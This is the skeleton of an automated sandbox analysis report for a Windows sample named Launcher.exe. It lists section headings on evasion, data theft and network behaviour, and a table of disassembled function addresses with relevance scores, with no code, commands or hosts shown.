Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
Launcher.exe

Function 0147018D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Function 005138AE Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 74
COMMONLIBRARYCODE

Function 005013CB Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 134
COMMON

Function 0050525A Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 50
memoryCOMMON

Function 00510536 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15
COMMONLIBRARYCODE

Function 00515A2E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80
fileCOMMONLIBRARYCODE

Function 00513979 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57
COMMONLIBRARYCODE

Function 005075B6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 108
COMMON

Function 00504B35 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 86
COMMON

Function 00506B91 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
COMMON

Function 00513E93 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Function 00515E2C Relevance: 3.2, APIs: 2, Instructions: 191
fileCOMMONLIBRARYCODE

Function 00514082 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON